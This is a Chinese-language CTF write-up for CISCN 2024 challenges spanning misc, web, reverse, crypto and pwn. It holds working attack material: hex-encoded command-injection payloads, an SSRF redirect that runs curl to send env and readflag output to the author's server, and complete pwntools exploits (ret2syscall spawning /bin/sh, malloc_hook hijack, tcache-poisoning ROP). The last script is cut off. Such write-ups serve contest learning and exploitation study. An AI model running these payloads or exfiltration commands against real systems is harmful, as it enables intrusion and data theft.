Misc

火锅链观光打卡

签到题,启动题目环境,火锅游戏,提示安装钱包插件,安装好之后可以开始游戏,答对了10道题目后可兑换NFT

图片上即为flag

flag{y0u_ar3_hotpot_k1ng}

Power Trajectory Diagram

下载附件,得到attachment.npz,是numpy的二维数组集合

这里改后缀为zip解压即可得到四个npy文件

根据题目含义可得出此题目为侧信道攻击,根据机器的功耗变化推算出可能的密码值,依次分析四个npy数据

Index很显然是索引,也就是能看出这里字符串长度是0-12,也就是13位,对应13个字符

Input则是每个位置输入的字符,可以跟上面的index对的上

Output是空的,没有输出数据分析,所以需要看功耗分析

而这个trace就是实际功耗数据了,也是最大的一个,5000个数据,数据长度520也对的上,首先先使用matplot画图大致分析一下

import numpy as np

# 加载数据
index = np.load('index.npy')
inputs = np.load('input.npy')
traces = np.load('trace.npy')

# 假设密码长度未知,但我们知道每个密码尝试的次数是相同的
unique_indices = np.unique(index)
password_length = len(unique_indices)

# 分析每个密码位的功耗
for i in range(password_length):
    # 找到当前密码位的所有尝试
    current_traces = traces[index == i]
    current_inputs = inputs[index == i]

    # 进行功耗分析
    # 这里可以进行简单的平均功耗计算,也可以进行更复杂的CPA或DPA
    mean_trace = np.mean(current_traces, axis=0)

    # 可视化或进一步分析
    import matplotlib.pyplot as plt
    plt.plot(mean_trace)
    plt.title(f'Average Power Trace for Password Character Position {i+1}')
    plt.xlabel('Time')
    plt.ylabel('Power Consumption')
    plt.show()

可以看到大致的功耗分析,最初思路是使用sklearn大模型给我跑flag,但是不太现实,所以还是决定从数据出发,经过调试后写exp提取密码

密码:_ciscn_2024_a,但尝试了不对,考虑到时侧信道攻击,不要过度相信数据和脚本,结合上述分析图的噪声,怀疑是数据处理过度导致的,所以尝试去掉最后一个a,即为flag

import numpy as np

# 加载数据集
index = np.load("index.npy")
inputs = np.load("input.npy")
outputs = np.load("output.npy")
traces = np.load("trace.npy")

# 假设我们有13个密码字符需要预测
num_characters = 13
character_length = 40  # 每个字符对应的迹象数量

password = []
# 遍历每个密码字符
for character_index in range(num_characters):
    time_min_indices = []
    # 获取当前字符对应的输入和迹象
    current_inputs = inputs[character_length * character_index : character_length * (character_index + 1)]
    current_traces = traces[character_length * character_index : character_length * (character_index + 1)]
    print(current_traces)
    # 对每个迹象,找到功耗最小的时间点
    for trace in current_traces:
        min_time_index = np.argmin(trace)
        time_min_indices.append(min_time_index)

    # 找到最显著的迹象(最小功耗出现最晚的那个)
    most_significant_trace_index = np.argmax(time_min_indices)
    # 获取对应的输入字符
    predicted_character = current_inputs[most_significant_trace_index]
    print(predicted_character)
    password.append(predicted_character)

# 遍历密码数组输出密码
print("Password:")
for char in password:
    print(char, end="")

flag{ _ciscn_2024_}

神秘文件

下载附件。得到attachment.pptm

打开ppt,第三个可见字符串,记录下来解码

UGFSdDQ6NmYtA=,base64解码后得到part4

PaRt4:6f-  1/10,随后在最后一张的批注看到N round Base64

Vm1wR1UxRXhXWGhUV0d4WFlrZG9WMWxVUm1GWFJscHlWMjVrVmxKc2NIaFZiVFZQVkd4S2MxSnFVbGRXTTFKUVdWVmtVMDVyTVVWaGVqQTk=,使用cyber循环解码得到part5

pArt5:5f-90d  2/10,第二章ppt左上角有一张小图片,拉伸后发现超链接指向一个嵌入的word文档,打开

可以看到隐藏的有内容,但由于不好提取,这里直接改后缀为zip解包,去xml中寻找

可见一段字符串和offset:10以及caesar,所以判定为偏移为10的凯撒

mQPinNS6Xtm1JGJs,进行凯撒解密

得到cGFydDI6Njc1ZWZi,base64解密后得到part2

 part2:675efb  3/10,pptm也改后缀解包,查看media文件夹,发现一堆截开的字符,进行拼接

得到FyVDY6ZC0y,解码得到part6

ParT6:d-2  /10,随后查看image57,可见图片下方有一串字符串

cGFyVDk6ZGVl,最后一个字母是l,是大写I时解出是大写H,不符合小写uuid,所以是l,解码得到part9

parT9:dee 5/10,slideLayout3.xml中找到一串字符串

结合下文提示可得知是将下上方字符串去掉B、b、1、3

c1GFSbd3Dg6BODbdl 按要求处理后得到cGFSdDg6ODdl ,base64解码后得到part8

paRt8:87e  6/10,在Slide4.xml中找到字符串以及ROT13(ALL)提示

HRSFIQp9ZwWvZj== ,于是对其进行强ROT13解码,随后解base64得到part7

PART7622b3,变换后为PART7:22b3   7/10,查看comment1.xml

发现提示VIgenere cipher和key furry,所以是维吉尼亚加密,密钥是furry,密文是ZYWJbIYnFhq9,解密后得到part10

PARt10:9}  8/10,在core.xml也就是文件的详细信息中找到密文

结合下文的again提示,所以判断是双密码加密,密文是QFCfpPQ6ZymuM3gq,密钥是lanjing,解码后base64得到part1

Part1:flag{e  9/10,打开ppt的时候就看到有宏还没用上,判断最后一个根宏有关,在ppt程序中按下组合键alt+F11可以进入宏编辑界面

可以看到是base64的RC4,没有密钥,使用c脚本解密

#include<iostream>
using namespace std;

int main(){
	int str[256];
    char Str_key[] = "";
    int v5 = 0, v6 = 0, v7 = 0;
    int c;
    for (int i = 0; i < 256; i++)
        str[i] = i;
    for (int i = 0; i < 256; i++)
    {
        v5 = (Str_key[i % 1] + v5 + str[i]) % 256;
        c = str[i];
        str[i] = str[v5];
        str[v5] = c;
    }
    char v19[17] = { 0x8b,0x5d,0xcf,0x38,0xc7,0x73,0x10,0x0c,0xc7,0x7f,0x2e,0x1d,0x19,0x2f,0xaf,0x50 }, flag[17];
    
    for (int i = 0; i < 16; ++i)
    {

        v7 = (v7 + 1) % 256;
        v6 = (v6 + str[v7]) % 256;
        c = str[v7];
        str[v7] = str[v6];
        str[v6] = c;
        flag[i] = str[(str[v6] + str[v7]) % 256] ^ v19[i];
        cout << flag[i];
    }
    return 0;
}

得到UEFydDM6My0zNA==,解base64后得到part3

PArt3:3-34  10/10,至此10部分齐全,组合后验证符合36位uuid

flag{e675efb3-346f-405f-90dd-222b387edee9}

大学生安全测试能力调研问卷

略,做完问卷即可得到flag

flag{海纳百川,有容乃大。}

通风机

下载附件得到通风机监控.mwp

查到是plc的程序文件,下载西门子Step7-200软件,但无法打开

创建一个新工程,保存,分析一下文件结构

对比发现通风机监控前面少了文件头GJK,手动加上文件头后即可打开工程

查看工程,在左边符号表的OK注释中中发现字符串

ZmxhZ3syNDY3Y2UyNi1mZmY5LTQwMDgtOGQ1NS0xN2RmODNlY2JmYzJ9

解码后即为flag

flag{2467ce26-fff9-4008-8d55-17df83ecbfc2}

盗版软件

下载附件得到3842.dmp和hackexe.exe

运行hackexe.exe后得到.ss目录,可以看到是一个loader.exe和output.png,木马执行的时候应该是从图片加载shellcode实现免杀,对图片进行分析

查看output.png会发现上方有一些点阵,可能隐藏信息

使用stegsolve查看各个颜色通道

进而可以查看到红色 full plane都有数据,所以存在lsb隐写,勾选所有红色通道

看到了PK,进而观察发现隔一个字节读取便会得到一个ZIP压缩文件的文件头504B0304,所以进而读取全文件即可得到ZIP压缩包,将数据保存下来,写脚本进行读取

def extract_bytes(filename):

    # 以二进制模式打开导出的文件

    with open(filename, "rb") as file:

        file_content = file.read()

    # 从第八个字节开始,每隔一个字节进行提取

    extracted_bytes = file_content[8::2]

    # 定义空字符串存放提取数据

    formatted_hex = ''

    # 遍历提取数据

    for byte in extracted_bytes:

        # 将字节转换为十六进制

        hex_byte = hex(byte)[2:].zfill(2)

        formatted_hex += hex_byte

    # 写入到新文件

    with open("shell.zip", "w") as output_file:

        output_file.write(formatted_hex)

# 主函数入口

if __name__ == "__main__":

    extract_bytes("save.bin")

得到压缩包,解压后得到.b

Shellcode进行了面纱,分析后是进行base58编码,解码后为原始shellcode

既然是恶意文件就不在本地电脑运行了,放到沙箱一样可以抓出外连地址,分析报告URL:

https://s.threatbook.com/report/file/a97946c34d2d8642820f196a54a6e8d78cf4f58a97e417be9696d7fd19e7fc95

上传到微步云沙箱即可看到外连地址是一个阿里云VPS,IP是39.100.72.235

随后寻找地址,题目有说明dmp是内存转储,本地取证工具有些问题,但毕竟windows的内存数据都是ASCII码,所以直接使用flag搜索工具搜索tmp中所有带有http://的字符串

数据较多,大部分都是系统流量或大厂域名(Mircosoft微软的更新、Mozila火狐、Amaon等)使用搜索替换功能给这些http流量删除掉即可删除大部分无关URL

随后筛选即可看到为数不多的几个域名,域名winhack.com,dns解析发现没有URL Encode内容,名字winhack非常可疑,于是对几个域名分别尝试,第三次尝试winhack.com提交正确

flag{096e8b0f9daf10869f013c1b7efda3fd }


Web

Simple_php

进入环境后是php,看到过滤了密密麻麻一堆

这里经过多次测试,发现只有apt、php未被过滤,但apt利用方式似乎只有供应链攻击,但是不太现实,所以考虑使用php的命令行模式,这里传入的cmd作为system函数的参数执行,因为过滤了大部分系统命令,所以这里需要解码,这里首先对payload进行十六进制编码,随后使用substr绕过字符匹配,再次使用hextobin(hex2bin)解码即可还原命令执行,同时使用+代替空格,所以这里payload是:php+-r+eval(hex2bin(substr(_6c33b, 1)));,但似乎有些问题。

Debug后反应过来这里直接是shell环境,内层payload使用的是eval并非system,所以这里使用echo `${payload}`来执行命令

测试使用ls命令,这次成功回显

但查看了根目录、运行目录以及env,没有找到flag

查找也没有结果,执行mysql命令后发现有mysql环境,且密码也是root,所以猜测flag在数据库中,但这里没有交互式shell,于是参考文章shell 脚本连接mysql查询_shell mysql 查询-CSDN博客,使用-e来带入sql语句

首先查询所有数据库

echo mysql -uroot -proot -e 'show databases;';

cmd=php+-r+eval(hex2bin(substr(_6563686f20606d7973716c202d75726f6f74202d70726f6f74202d65202773686f77206461746162617365733b27603b,1)));

这里可以看到PHP_CMS表,随后查看此库中的表

echo mysql -uroot -proot -e 'use PHP_CMS;show tables';

cmd=php+-r+eval(hex2bin(substr(_6563686f20606d7973716c202d75726f6f74202d70726f6f74202d652027757365205048505f434d533b73686f77207461626c657327603b,1)));

很明显这个F1ag_Se3Re3有问题 ,查询该表所有内容

echo mysql -uroot -proot -e 'use PHP_CMS;select * from F1ag_Se3Re7;';

cmd=php+-r+eval(hex2bin(substr(_6563686f20606d7973716c202d75726f6f74202d70726f6f74202d652027757365205048505f434d533b73656c656374202a2066726f6d20463161675f5365335265373b27603b,1)));

成功查询出flag

flag{1d232105-d7f3-4f23-adc1-c58aecde7778}

easycms_revenge

跟昨天的题目一样,都是迅睿CMS

昨天没解出来,但是知道了后台地址类型和源码

使用dirsearch扫描,仍然有和昨天一样的flag.php,输出一样,那就默认和昨天的hint里的一样,同样是127.0.0.1传入参数cmd执行,那就是需要ssrf来打

Clone下来源码进行分析,同时参考一些现有漏洞发现前台有rce,但并不是,但发现了生成二维码的qrcode接口有ssrf,thumb参数是图片地址,随后请求后进行url解码,所以这里存在SSRF

在源码中可以看到使用示例

?s=api&c=api&m=qrcode&text= &thumb=url&level=1&size=1

写一个php文件,通过 修改http包的header头使得重定向到127.0.0.1/flag.php

<?php

header("Location: http://127.0.0.1/flag.php?cmd=whoami");

exit();

?>

这里在云服务器上开一个php的web服务,尝试请求

s=api&c=api&m=qrcode&text=zmzmzmzmzmzmzz&thumb=http://39.107.159.162:81/nynu.php&level=1&size=1 

去进行SSRF,但发现提示不是可用图片,所以需要添加图片头,同时php也要输出一个文件头,这里php头使用PNG没有成功,所以更换gif文件头

GIF89a

<?php

echo "‰PNG";

header("Location: http://127.0.0.1/flag.php?cmd=curl%2009ohri.dnslog.cn");

exit();

?>

重新发送请求可以看到命令成功执行

但由于没有回显,这里payload使用curl -X GET "http://39.107.159.162:81/$(env | base64 | tr -d '\n')"

将命令执行结果进行base64后get请求发送到web服务

可以在access.log看到env命令被成功执行并返回,更换命令ls /

可以看到flag在根目录下,查看flag发现为空,flag是readflag文件

读取之后发现是ELF,所以运行elf,捕获返回内容即可得到flag

最终payload

GIF89a
<?php
echo "‰PNG";
header("Location: http://127.0.0.1/flag.php?cmd=curl%20-X%20GET%20%22http://39.107.159.162:81/$(/readflag%20%7C%20base64%20%7C%20tr%20-d%20'%5Cn')%22");
exit();
?>

flag{2eae6d41-7bc5-43f0-9a62-8765e8ace714}

Reverse

asm_re

加密函数

使用chatGPT辅助分析

对密文乘0x50

加0x14

异或0x4D

加0x1e

解密只需要反向操作

密文:

写出解密脚本

int main()
{
    
    int a[] = { 0x1FD7,0x21B7,0x1E47,0x2027,0x26E7,0x10D7,0x1127,0x2007,0x11C7,0x1E47,0x1017,0x1017,0x11F7,0x2007,0x1037,0x1107,0x1F17,0x10D7,0x1017,0x1017,0x1F67,0x1017,0x11C7,0x11C7,0x1017,0x1FD7,0x1F17,0x1107,0x0F47,0x1127,0x1037,0x1E47,0x1037,0x1FD7,0x1107,0x1FD7,0x1107,0x2787 };
    for (int i = 0; i < 38; i++) {
        int num = a[i];

        num -= 0x1e;
        num ^= 0x4d;
        num = (num - 0x14) / 0x50;

        printf("%c", char(num&0xff));
    }

    
    return 0;
}

flag{67e9a228e45b622c2992fb5174a4f5f5}

androidso_re

APK文件:

使用jadx-gui反编译

Legal()函数对字符串进行判断其中flag{}中间的字符使用inspect()函数加密后判断

查看inspect类:

str2从jni.getkey()获取密钥并通过SecretKeySpec函数初始化为AES密钥

 jni.getiv()函数获取iv并通过IvParameterSpec初始化

Cipher cipher = Cipher.getInstance("DES/CBC/PKCS5Padding");

对密文进行DES的CBC模式加密

判断密文是否为JqslHrdvtgJrRs2QAp+FEVdwRPNLswrnykD/sZMivmjGRKUMVIC/rw==

查看jni类:

从so文件中调用getiv()和getkey()的值

使用ida分析so文件

找到两个函数

通过调用so文件函数获取key和iv值

Key: A8UdWaeq

Iv: Wf3DLups

使用在线网站解密

得到flag:

flag{188cba3a5c0fbb2250b5a2e590c391ce}

whereThel1b

Ida静态分析

Cython编译的so文件

这里声明了模块里的字符串,其中有函数名称,被打印的字符串,还有一些编译器生成的字符串。

能看到有base64,random,seed等加密函数

进行初始化最终在全局表中关联

设置属性

创建python对象

导入"base64"模块,并将结果模块对象存储在 v28 中。v29 = v28将导入的"base64"模块对象赋值给 v29如果base64模块导入失败,代码会跳转到标签 LABEL_114

这一段即构建python代码

调用了whereisflag函数和tryry函数进行加密

在ida中找到这两个函数

构建random和seed函数

设置随机数种子

分析whereisflag1-6函数

Flag调用encry猜测是加密函数

调用base64进行加密

随机数函数进行构造赋值给attr然后将attr转换类型赋值给v15

判断v15[1].ob_type的值是否等于0

随机数函数通过seed函数设置的种子获取伪随机数

猜测为判断随机数种子为0

整理下逻辑应该是通过seed设置随机数种子后调用random函数获取随机数字符串对明文进行加密然后对加密后的字符串进行b64encode操作

写出解密脚本得到flag

import base64
import random


encry = [108, 117, 72, 80, 64, 49, 99, 19, 69, 115, 94, 93, 94, 115, 71, 95, 84, 89, 56, 101, 70, 2, 84, 75, 127, 68, 103, 85, 105, 113, 80, 103, 95, 67, 81, 7, 113, 70, 47, 73, 92, 124, 93, 120, 104, 108, 106, 17, 80, 102, 101, 75, 93, 68, 121, 26]
random.seed(0)
str1 = []
str2 = []
for _ in range(len(encry)):
    str1.append(random.randint(0, len(encry)))
for i in range(len(encry)):
    str2.append(str1[i] ^ encry[i])

str3 = ''.join(map(chr, str2))
flag = base64.b64decode(str3)
print(flag)

flag{7f9a2d3c-07de-11ef-be5e-cf1e88674c0b}

gdb_debug

64位无壳使用ida分析

将随机数种子设置位time(0) & 0xF0000000

提示输入字符串

并验证flag{}这几个固定字符

字符串整体与随机数异或

创建ptr初始值为下标并使用随机数打乱

V31[m]=v28[ptr[m]]将ptr[m]作为下标对字符串进行打乱

再次异或随机数

与v32异或得到字符串s1,比较s1与s2如果相等则提示Correct.

byte_10A0:

逆向时一共38*3个随机数是要通过正向得出并按正向的顺序去解密

因为win和linux随机数不一样所有要使用linux环境运行脚本

写出脚本运行

#include <stdlib.h>
#include <stdio.h>
#include <time.h>

int main() {
    int v3 = time(0);
    srand(v3 & 0xF0000000);
    int rand_[38 * 3];
    for (int i = 0; i < 38 * 3; i++)
    {
        rand_[i] = rand();
    }
    char bytes[] =
    {
      0xBF, 0xD7, 0x2E, 0xDA, 0xEE, 0xA8, 0x1A, 0x10, 0x83, 0x73,
  0xAC, 0xF1, 0x06, 0xBE, 0xAD, 0x88, 0x04, 0xD7, 0x12, 0xFE,
  0xB5, 0xE2, 0x61, 0xB7, 0x3D, 0x07, 0x4A, 0xE8, 0x96, 0xA2,
  0x9D, 0x4D, 0xBC, 0x81, 0x8C, 0xE9, 0x88, 0x78
    };
    char s2[] = "congratulationstoyoucongratulationstoy";
    char v31[38];
    for (int i = 0; i < 38; i++)
    {
        v31[i] = s2[i] ^ bytes[i];
    }
    for (int i = 0; i < 38; i++)
    {
        v31[i] ^= rand_[i + 38 * 2 - 1];
    }

    int ptr[38];


    for (int j = 0; j < 38; j++) {
        ptr[j] = j;
    }
    int s = 0;
    for (int i = 38 - 1; i; i--)
    {
        int v18 = rand_[38 + s] % (i + 1);
        int v19 = ptr[i];
        ptr[i] = ptr[v18];
        ptr[v18] = v19;
        s++;
    }
    char v28[38];
    for (int i = 0; i < 38; i++)
    {
        v28[ptr[i]] = v31[i];

    }
    for (int i = 0; i < 38; i++)
    {
        v28[i] ^= rand_[i];
    }
    printf("\n");
    for (int i = 0; i < 38; i++) {
        
        printf("%c", v28[i]);
    }
    return 0;
}

flag{78bace5989660ee38f1fd980a4b4fbcd}

Crypto

古典密码

AnU7NnR4NassOGp3BDJgAGonMaJayTwrBqZ3ODMoMWxgMnFdNqtdMTM9

使用cyberchef解Atbash编码,随后解base64

之后解两栏的栅栏即可得到flag

flag{b2bb0873-8cae-4977-a6de-0e298f0744c3}

 OvO

下载附件得到task.sage

这里生成了两个512位的素数,随后计算n,之后的e计算不太寻常,首先生成一个 128 位的素数 kk,然后计算 e = 65537 + kk * p + rr * ((p+1) * (q+1)) + 1,直到 gcd(e, phi) == 1,随后对flag进行加密,随后将e 的低 200 位移掉。

这里参考这篇文章https://blog.csdn.net/m0_57291352/article/details/120675242

的已知d的低位攻击来求解p,原理是构建多项式进行根的搜索,部分密钥求解攻击,使用文章中的两个函数写脚本求解,求解出p后即可根据n求出q进而解RSA得到flag

from Crypto.Util.number import * 
def partial_p(p0, n, bits): 
    PR.<x> = PolynomialRing(Zmod(n)) 
    f = p0 + x 
    f = f.monic() 
    roots = f.small_roots(X=2^(bits+5), beta=0.4) 
    if roots: 
        x0 = roots[0] 
        p = gcd(p0 + x0, n) 
        return ZZ(p) 
 
def find_p(eh, n, bits): 
    PR.<x> = PolynomialRing(RealField(1000)) 
    f = (kk+rr)*x**2 + (rr*(n+1)+65538)*x + rr*n - eh*x 
    results = f.roots() 
    if results: 
        for x in results: 
            p_high = int(x[0]) >> 4 << 4 
            p = partial_p(p_high, n,bits) 
            if p and p != 1: 
                return p 

n = 111922722351752356094117957341697336848130397712588425954225300832977768690114834703654895285440684751636198779555891692340301590396539921700125219784729325979197290342352480495970455903120265334661588516182848933843212275742914269686197484648288073599387074325226321407600351615258973610780463417788580083967 
e = 37059679294843322451875129178470872595128216054082068877693632035071251762179299783152435312052608685562859680569924924133175684413544051218945466380415013172416093939670064185752780945383069447693745538721548393982857225386614608359109463927663728739248286686902750649766277564516226052064304547032760477638585302695605907950461140971727150383104 
c = 14999622534973796113769052025256345914577762432817016713135991450161695032250733213228587506601968633155119211807176051329626895125610484405486794783282214597165875393081405999090879096563311452831794796859427268724737377560053552626220191435015101496941337770496898383092414492348672126813183368337602023823 
 
# 计算 kk 和 rr 
rr = e // n 
kk = rr - 2 
 
# 尝试找到 p 的值 
p = find_p(e, n, 200) 
if p is None: 
    print("无法找到 p 的值") 
    exit() 
 
# 计算 q 的值 
q = n // p 
 
# 计算新的 e 值 
e = 65537 + kk * p + rr * ((p + 1) * (q + 1)) + 1 
 
# 计算私钥 d 并解密 
d = inverse(e, (p - 1) * (q - 1)) 
m = pow(c, int(d), n) 
print(long_to_bytes(int(m)))

flag{b5f771c6-18df-49a9-9d6d-ee7804f5416c}

Pwn

gostack

X86_64架构,无canary与pie

Ida打开发现无法反汇编

运行程序发现要有输出的字符串让你输入数据,既然看不了伪代码,那就ida直接定位这几句话

发现数据确实在text段,

开始gdb调试

发现call了0x49a760时会把数据读入

下图是没call之前

下图是Call了之后

开始定位ebp位置

但发现栈前还需要填充0x110个字节的空位,否则无法溢出到rbp

定位溢出长度,开始构造rop链

发现elf文件有个很好的信息

既然有syscall,并且gadgets也够用

Ret2syscall处理,利用系统调用把/bin/sh读入bss段,然后再次利用系统调用执行bss地址拿shell。

首先rax存入系统调用号,64位系统read调用号为0x0,rdi寄存器放入read第一个参数0,rsi寄存其放read第二个参数bss地址,rdx放第三个参数0x10,调用syscall触发系统调用,覆盖syscall的ret地址为rax的地址开始另一个rop链,放入0x3b系统调用号,该系统调用号是execve的,rdi寄存器放execve的第一个参数bss地址,剩下俩参数为0,调用syscall触发系统调用,发送/bin/sh执行execve(“/bin/sh”)即可。

p1=flat(b'a'*(0x1c8+8),pop_rax_ret,0,pop_rdi_ret,0,b'a'*(5),pop_rsi_ret,bss_addr,pop_rdx_ret,0x10,syscall_ret,pop_rax_ret,0x3b,pop_rdi_ret,bss_addr,pop_rsi_ret,0,pop_rdx_ret,0,syscall_ret)
from pwn import *
x = int(input("请选择模式\n1:远程\n2:本地\n3:exp调试\n"))
if x == 1:
    r=remote("",)
elif x == 2:
    r=process("./ciscn2024/gostack")
else:
    r=gdb.debug("./ciscn2024/gostack",gdbscript='b *0x4a098c')
pop_rdi_ret=0x00000000004a18a5
pop_rsi_ret=0x000000000042138a
pop_rdx_ret=0x00000000004944ec
pop_rax_ret=0x000000000040f984
syscall_ret=0x00000000004616c9
bss_addr=0x563CB0
p1=flat(b'a'*(0x1c8+8),pop_rax_ret,0,pop_rdi_ret,0,b'a'*(5),pop_rsi_ret,bss_addr,pop_rdx_ret,0x10,syscall_ret,pop_rax_ret,0x3b,pop_rdi_ret,bss_addr,pop_rsi_ret,0,pop_rdx_ret,0,syscall_ret)
r.sendlineafter("Input your magic message :\n",p1)
r.sendline(b"/bin/sh\x00")
r.interactive()

flag{2cc67a77-7465-4f52-9f36-219a59bc94ed}

orange_cat_diary

checksec

Ida:

Sub_bf5

add函数

Sub_d83

free函数

Sub_CD9

edit函数

并且dword_202058+8的地址对edit的堆块大小有最大限制

Sub_DE9

Show函数

可以进行堆溢出来泄露地址,利用堆管理其地址计算基地址,从而计算malloc_hook地址,

且free函数存在指针释放未置空,可以劫持malloc_hook修改为one_gadget地址,然后add堆块edit堆块更改堆块结构,篡改指针指向为onegadget执行拿shell。

from pwn import *
x = int(input("请选择模式\n1:远程\n2:本地\n3:exp调试\n"))
if x == 1:
    r = remote('8.147.133.63',17147)
    context.log_level='debug'
elif x == 2:
    r=process("./ciscn2024/orange_cat_diary")
else:
    r=gdb.debug("./ciscn2024/orange_cat_diary",gdbscript='b main')
libc=ELF('./ciscn2024/libc-2.23.so')
r.sendlineafter('Please tell me your name.','zlpyyds')

def add_chunk(size, content):
  r.sendlineafter('Please input your choice:',b'1')
  r.sendlineafter('Please input the length of the diary content:',str(size))
  r.sendlineafter('Please enter the diary content:',content)
def free_chunk():
  r.sendlineafter('Please input your choice:',b'3')
def show_chunk():
  r.sendlineafter('Please input your choice:',b'2')
def edit_chunk(size, content):
  r.sendlineafter('Please input your choice:',b'4')
  r.sendlineafter('Please input the length of the diary content:',str(size))
  r.sendlineafter("Please enter the diary content:",content)
add_chunk(0x108,b'zlp')
edit_chunk(0x110,b'z'*0x108+p64(0xef1))
add_chunk(0x1000,'zlp')
add_chunk(0x450,'zlp')
show_chunk()
r.recv(6)
chunk_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, b"\x00")) -0x668
success("chunk_addr------------->"+str(hex(chunk_addr)))
main_arena= libc.sym['__malloc_hook'] +0x10
success("main_arena------------>"+str(hex(main_arena)))
libc_base=chunk_addr-main_arena
success('libc_base---------------->'+str(hex(libc_base)))
malloc_hook_addr = libc_base + libc.sym['__malloc_hook']
one_gadget=libc_base+0xf03a4
add_chunk(0x60,'zlp')
free_chunk()
edit_chunk(0x20,p64(malloc_hook_addr-0x23))
add_chunk(0x60,'zlp')
add_chunk(0x60,b'z'*(0x13)+p64(one_gadget))
r.interactive()

flag{40de1e3a-4dae-42a7-9033-8257f84a961a}

EzHeap

Checksec

Ida

Sub_154A()函数

Add_chunk();

Sub_16ce()

Free函数

Sub_17ab()

Edit函数

Sub_18e9()函数

Show功能

Sub_19d2()

退出函数

附件下载给了三个so文件,可以利用

发现gagets少的可怜

那么就可以利用附件里的so.6文件中的gadets

pop_rax_ret=next(libc.search(asm('pop rax;ret')))

pop_rdi_ret=next(libc.search(asm('pop rdi;ret')))

pop_rsi_ret=next(libc.search(asm('pop rsi;ret')))

pop_rdx_ret=next(libc.search(asm('pop rdx;pop rbx;ret')))

syscall_ret=next(libc.search(asm('syscall;ret')))

先改变堆块布局溢出泄露地址,泄露出的地址将低12位清零来获取libc基址

add_chunk(0x1f8,'aa')

add_chunk(0x4f0,'aa')

add_chunk(0x1f8,'aa')

free_chunk(1)

edit_chunk(0,0x200,'a'*0x200)

show_chunk(0)

addr=u64(r.recvuntil(b'\x7f')[-6:]+b'\x00\x00')

libc_base=(addr-libc.sym['_IO_2_1_stdin_'])&0xfffffffffffff000

接下来获取堆的基地址

edit_chunk(0,0x240,b'a'*0x1f8+p64(0x501))

add_chunk(0x4f0,'zlp')

edit_chunk(0,0x340,b'a'*0x1f8+p64(0x101)+b'\x00'*0xf8+p64(0x401))

free_chunk(1)

edit_chunk(0,0x200,b'a'*0x200)

show_chunk(0)

r.recvuntil(b'a'*0x200)

heap_base=u64(r.recv(5)+b'\x00\x00\x00')<<12

success('heap_base---------------->'+hex(heap_base))

获取栈地址

add_chunk(0xf0,'zlp')

edit_chunk(0,0x240,b'a'*0x1f8+p64(0x21)+p64(0)+b'\x00'*0x10+p64(0x4e1))    

add_chunk(0x10,'zlp')

free_chunk(1)

edit_chunk(0,0x240,b'a'*0x1f8+p64(0x21)+p64((heap_base>>12)^(libc.sym['environ']-0x10))+b'\x00'*0x10+p64(0x4e1))    

add_chunk(0x10,'zlpa')

add_chunk(0x10,'a'*0x10)

show_chunk(4)

stack_addr=u64(r.recvuntil(b'\x7f')[-6:]+b'\x00\x00')-(0x758-0x5f0)

success("stack_addr------------>"+str(hex(stack_addr)))

有了栈地址,可以构造利用上边得到的gadgts来构造rop链进行后续的系统调用,

p1+=p64(pop_rdi_ret)+p64(stack_addr-0x10)

p1+=p64(pop_rsi_ret)+p64(0)

p1+=p64(pop_rax_ret)+p64(2)

p1+=p64(syscall_ret)

p1+=p64(pop_rax_ret)+p64(0)

p1+=p64(pop_rdi_ret)+p64(3)

p1+=p64(pop_rdx_ret)+p64(0x30)*2

p1+=p64(pop_rsi_ret)+p64(stack_addr-0x300)

p1+=p64(syscall_ret)

p1+=p64(pop_rax_ret)+p64(1)

p1+=p64(pop_rdi_ret)+p64(1)

p1+=p64(pop_rsi_ret)+p64(stack_addr-0x300)

p1+=p64(syscall_ret)

最后改变堆块布局,将rop链写入堆块来拿shell

edit_chunk(0,0x440,b'a'*0x1f8+p64(0x201)+p64(0)+b'\x00'*0x1f0+p64(0x301))

free_chunk(2)

free_chunk(1)

edit_chunk(0,0x440,b'a'*0x1f8+p64(0x201)+p64((heap_base>>12)^(stack_addr-0x10))+b'\x00'*0x1f0+p64(0x301))

add_chunk(0x1f0,'zlpzlp')

add_chunk(0x1f0,p1)
from pwn import *
x = int(input("请选择模式\n1:远程\n2:本地\n3:exp调试\n"))
if x == 1:
    r = remote('8.147.133.230',25077)
    context(log_level='debug',arch='amd64',os='linux')
elif x == 2:
    r=process("./ciscn2024/orange_cat_diary")
else:
    r=gdb.debug("./ciscn2024/orange_cat_diary",gdbscript='b main')
elf=ELF('./ciscn2024/EzHeap')
libc=ELF('./ciscn2024/libc.so.6')
def add_chunk(size,content):
    r.sendlineafter('>> ',b'1')
    r.sendlineafter(':',str(size))
    r.sendafter('content:',content)
def edit_chunk(id,size,content):
    r.sendlineafter('>> ',b'3')
    r.sendlineafter(':',str(id))
    r.sendlineafter(':',str(size))
    r.sendafter('content:',content)
def show_chunk(id):
    r.sendlineafter('>> ',b'4')
    r.sendlineafter(':',str(id))
def free_chunk(id):
    r.sendlineafter('>> ',b'2')
    r.sendlineafter(':\n',str(id))
add_chunk(0x1f8,'zlp')
add_chunk(0x4f0,'zlp')
add_chunk(0x1f8,'zlp')
free_chunk(1)
edit_chunk(0,0x200,'a'*0x200)
show_chunk(0)
addr=u64(r.recvuntil(b'\x7f')[-6:]+b'\x00\x00')
success("addr------------------------->"+str(hex(addr)))
libc_base=(addr-libc.sym['_IO_2_1_stdin_'])&0xfffffffffffff000
success('libc_base----------------->'+hex(libc_base))
libc.address=libc_base
bin_sh_addr=next(libc.search(b'/bin/sh\x00'))
system_addr=libc.sym['system']
free_hook_addr=libc.sym['__free_hook']
success("free_hook_addr-------------->"+str(hex(free_hook_addr)))
edit_chunk(0,0x240,b'a'*0x1f8+p64(0x501))
add_chunk(0x4f0,'zlp')
edit_chunk(0,0x340,b'a'*0x1f8+p64(0x101)+b'\x00'*0xf8+p64(0x401))
free_chunk(1)
edit_chunk(0,0x200,b'a'*0x200)
show_chunk(0)
r.recvuntil(b'a'*0x200)
heap_base=u64(r.recv(5)+b'\x00\x00\x00')<<12
success('heap_base---------------->'+hex(heap_base))
add_chunk(0xf0,'zlp')
edit_chunk(0,0x240,b'a'*0x1f8+p64(0x21)+p64(0)+b'\x00'*0x10+p64(0x4e1))    
add_chunk(0x10,'zlp')
free_chunk(1)
edit_chunk(0,0x240,b'a'*0x1f8+p64(0x21)+p64((heap_base>>12)^(libc.sym['environ']-0x10))+b'\x00'*0x10+p64(0x4e1))    
add_chunk(0x10,'zlpa')
add_chunk(0x10,'a'*0x10)
show_chunk(4)
